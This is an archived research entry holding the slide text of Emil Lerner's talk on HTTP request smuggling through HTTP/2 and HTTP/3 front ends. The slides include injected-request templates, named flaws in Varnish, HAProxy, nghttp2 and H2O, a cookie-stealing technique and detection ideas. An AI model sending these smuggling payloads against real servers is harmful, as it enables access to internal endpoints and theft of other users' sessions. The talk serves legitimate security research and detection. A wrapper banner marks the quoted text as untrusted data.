---
type: Slides
title: HTTP Request Smuggling via higher HTTP versions
description: Request smuggling against front ends that terminate HTTP/2 or HTTP/3 and forward HTTP/1.1. Because HTTP/2 header names and values are binary strings that may contain newlines and colons, and content-length and transfer-encoding are not revalidated on downgrade, an attacker can inject a second request into the backend stream. Includes detection methods and a tool.
resource: "https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions"
tags: [slides, webseclist-reference, slideshare, request-smuggling, desync, http2, http3, header-injection, parser-differential, reverse-proxy, tooling, owasp-a03-2021]
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    title: HTTP Request Smuggling via higher HTTP versions
    author: Emil Lerner
    last_modified: 2021-05-21
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original_url: "https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions"
published: 2021-05-21
publisher: Slideshare
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---

# HTTP Request Smuggling via higher HTTP versions

**HTTP Request Smuggling via higher HTTP versions** - Emil Lerner, Slideshare.

- Published: 2021-05-21
- Original: <https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions>
- Current location: <https://www.slideshare.net/slideshow/http-request-smuggling-via-higher-http-versions/248407775>
- Preserved from: https://www.slideshare.net/slideshow/http-request-smuggling-via-higher-http-versions/248407775 (live) on 2026-08-10
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

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![Emil Lerner
HTTP Request

Smuggling via

higher HTTP versions](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-1-320.jpg)

![Emil Lerner
independentsecurityresearcher

CTO at WunderFund.io

Bushwhackers CTF team
@emil_lerner
@neex](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-2-320.jpg)

![HTTP
Client Server
HTTP Response
HTTP Request](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-3-320.jpg)

![Reverse proxy
HTTP Response
HTTP Request
Client HTTP Response
HTTP Request
Frontend

Server
Backend

Server](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-4-320.jpg)

![HTTP keep-alive
HTTP Response 1
HTTP Request 1
HTTP Response 2
HTTP Request 2
Client Server](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-5-320.jpg)

![HTTP/1.1 body transfer
Content-Length header
Content-Length: 100

Here goes 100 bytes

of the request body.

Transfer-Encoding: chunked

ff

10

0

Here goes 255-byte chunk

Another chunk

Chunked encoding](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-6-320.jpg)

![HTTP keep-alive (to backend)
HTTP Response 1
HTTP Request 1
HTTP Response 1
HTTP Request 1
HTTP Response 2
HTTP Request 2
HTTP Response 2
HTTP Request 2
Single backend

connection
Client2 connection
Client1 connection
Client1
Client2
Frontend

Server
Backend

Server](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-7-320.jpg)

![HTTP Request Smuggling
Old & known attack
Gained a lot of attention after

James Kettle's talk on BH USA 2019
He discovered a lot of new techniques](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-8-320.jpg)

![HTTP Request Smuggling
An attacker sends a malicious request
It is parsed as a single request by the frontend

and is forwarded to the backend
Backend parses it as two separate requests](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-9-320.jpg)

![POST / HTTP/1.1

Content-Length: 100

0

Transfer-Encoding : chunked

GET /internal HTTP/1.1

...
Frontend

interprets this Backend

interprets this
Frontend thinks

it's body
Backend thinks

it's another request
HTTP Request Smuggling](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-10-320.jpg)

![HTTP Request Smuggling
It's all about Content-Length / Transfer-Encoding
Transfer-Encoding has precedence
We need to "smuggle" Transfer-Encoding

to backend unprocessed by the frontend](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-11-320.jpg)

![HTTP Request Smuggling
POST / HTTP/1.1

Content-Length: 100

Transfer-Encoding: identity,
0

chunked

GET /internal HTTP/1.1

...
Frontend

interprets

this
Backend

interprets

this
Frontend

thinks

it's body
Backend thinks

it's another request](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-12-320.jpg)

![Exploitation
Accessing internal endpoints
Cache poisoning
Stealing other users’ requests](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-13-320.jpg)

![Exploitation: stealing requests
Attacker→Frontend
Victim→Frontend
GET / HTTP/1.1

...

POST /save HTTP/1.1
Transfer-Encoding : chunked

GET / HTTP/1.1

Cookie: secret
GET / HTTP/1.1

Transfer-Encoding : chunked

...

POST /save HTTP/1.1

data=GET / HTTP/1.1

Cookie: secret
Frontend→Backend](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-14-320.jpg)

![Exploitation: stealing requests
The victim's request is appended to ours
Most frameworks are OK with newlines in forms
Victim's cookies are saved to our profile, PMs

or other places where we can view them later](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-15-320.jpg)

![HTTP/2 overview
Widely adopted by now
Binary protocol (no special chars)
Almost always terminated at frontend](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-16-320.jpg)

![HTTP/2 termination
:status 200
PRI * HTTP/2.0

<binary>

:method GET
HTTP/1.1 200 OK
GET / HTTP/1.1
Frontend Backend
Client](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-17-320.jpg)

![HTTP/2 body transfer
Request body is transferred in binary frames
Content-Length not required, but allowed
Transfer-Encoding: chunked has no effect](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-18-320.jpg)

![Potential bug #1:

content-length conflicts actual length
Client→Frontend
:method POST

:authority host.com

XGET /internal HTTP/1.1

...
content-length: 1

POST / HTTP/1.1

Host: host.com

Content-Length: 1

XGET /internal HTTP/1.1

...
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-19-320.jpg)

![Potential bug #2:

no content-length forwarding
Client→Frontend
:method
:authority host.com

GET /internal HTTP/1.1
GET
 GET / HTTP/1.1

Host: host.com

GET /internal HTTP/1.1
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-20-320.jpg)

![Potential bug #3:

content-length conflicting transfer-encoding
Client→Frontend
:method POST

:authority host.com

content-length: 100

0

GET /internal HTTP/1.1

...
transfer-encoding: chunked

POST / HTTP/1.1

Host: host.com

Content-Length: 100

Transfer-Encoding: chunked

0

GET /internal HTTP/1.1

...
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-21-320.jpg)

![HTTP/2 header validation
Headers names and values are binary strings
Names and values can contain newlines
Names can contain colons](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-22-320.jpg)

![Potential bug #4:

newlines in headers
Client→Frontend
:method GET

:authority host.com

x:
...
⏎⏎GET /internal HTTP/1.1

GET / HTTP/1.1

Host: host.com

X:

GET /internal HTTP/1.1

...
Frontend→Backend](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-23-320.jpg)

![Potential bug(s) #5:

less strict validation
Client→Frontend
:method POST

:authority host.com

content-length: 100

0

GET /internal HTTP/1.1

...
transfer-encoding : chunked

POST / HTTP/1.1

Host: host.com

Content-Length: 100

transfer-encoding : chunked

0

GET /internal HTTP/1.1

...
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-24-320.jpg)

![Potential bug(s) #5:

less strict validation
Client→Frontend
:method POST

:authority host.com

content-length: 100

0

GET /internal HTTP/1.1

...
transfer_encoding: chunked

POST / HTTP/1.1

Host: host.com

Content-Length: 100

Transfer_Encoding: chunked

0

GET /internal HTTP/1.1

...
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-25-320.jpg)

![Potential bug(s) #5:

less strict validation
Client→Frontend
:method POST

:authority host.com

content-length: 100

0

GET /internal HTTP/1.1

...
transfer-encoding: chunKed

POST / HTTP/1.1

Host: host.com

Content-Length: 100

Transfer-Encoding: chunKed

0

GET /internal HTTP/1.1

...
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-26-320.jpg)

![What does the RFC say?
RFC 7540 mentions Intermediary

Encapsulation Attacks in 10.3
Basically says "implementation must reject

things it can't handle" :)
Explicitly mentions newlines and x00](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-27-320.jpg)

![Detection idea #1:

make backend expect more data
Craft a request such that
Backend expects more data
Frontend thinks it sent the whole request
The request will hang
Implemented in James Kettle's Burp plugin

(for HTTP/1.1)](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-28-320.jpg)

![Detection idea #1:

make backend expect more data
:method POST

content-length: 5

h:⏎transfer-encoding:chunked

fff

Frontend

interprets this Backend

interprets this
Frontend thinks

body is finished
Backend expects

more data and hangs](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-29-320.jpg)

![Chunked encoding should never be parsed

in HTTP/2
If the response depends on the chunked

encoding validness,
 it is a possible vulnerability
There're some false positives
Detection idea #2:

chunked body parsing](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-30-320.jpg)

![Detection idea #2:

chunked body parsing
:status 400
:method POST

invalid chunked body
transfer-encoding : chunked

HTTP/1.1 400
POST / HTTP/1.1

transfer-encoding : chunked

invalid chunked body
Frontend Backend
Client](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-31-320.jpg)

![Detection idea #3:

content-length parsing
Send something like x:x⏎content-length:1000
If the response depends on the value,

it's a possible vulnerability
Even more false positives :(](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-32-320.jpg)

![False positive scenario
HTTP/2 HTTP/2

termination
HTTP/1

processing
HTTP/1.1
Frontend
Backend
Client](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-33-320.jpg)

![Varnish flaw
Client→Varnish
:method GET

:authority host.com

GET /internal HTTP/1.1

...
content-length: 0

GET / HTTP/1.1

Host: host.com

content-length: 0

GET /internal HTTP/1.1

...
Varnish→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-34-320.jpg)

![Potential bug #6:

RFC 8441
Designed for WebSockets over HTTP/2
A client sends CONNECT method and sets

the :protocol special header
Intermediary translates it to Upgrade](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-35-320.jpg)

![Haproxy & nghttp2 flaws
Client→Frontend
:method
:authority host.com

GET /internal HTTP/1.1

...
CONNECT

:protocol websocket

GET / HTTP/1.1

Host: host.com

Connection: upgrade

Upgrade: websocket

GET /internal HTTP/1.1

...
Frontend→Backend
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-36-320.jpg)

![Open problem:

one-way size discrepancy
Attacks work if the backend reads less data

than the frontend
Detection methods work if the backend expects

more data
What if the first is achievable, but the second

is not possible?](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-37-320.jpg)

![Client→Frontend Frontend→Backend
H2O http3 (QUIC) flaw
:method POST

content-length: 100

0

GET /internal HTTP/1.1

...
x:x⏎transfer-encoding:chunked

POST / HTTP/1.1

Content-length: 100

X: x

Transfer-Encoding: chunked

0

GET /internal HTTP/1.1

...
body](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-38-320.jpg)

![Automation
I've implemented http2smugl tool
It performs automatic vulnerability detection

using the discussed methods
Also it supports sending "invalid" queries

via custom HTTP/2 implementation](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-39-320.jpg)

![Further research needed
HTTP/1 special headers, writing to closed streams,

HPACK and >40 implementations not researched
Stable detection methods wanted
Putting space + path into :method can lead

to hitting internal endpoints and Host override](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-40-320.jpg)

![Thank you!
https://github.com/neex/http2smugl](https://image.slidesharecdn.com/lernerphdays2021-210521095108/85/HTTP-Request-Smuggling-via-higher-HTTP-versions-41-320.jpg)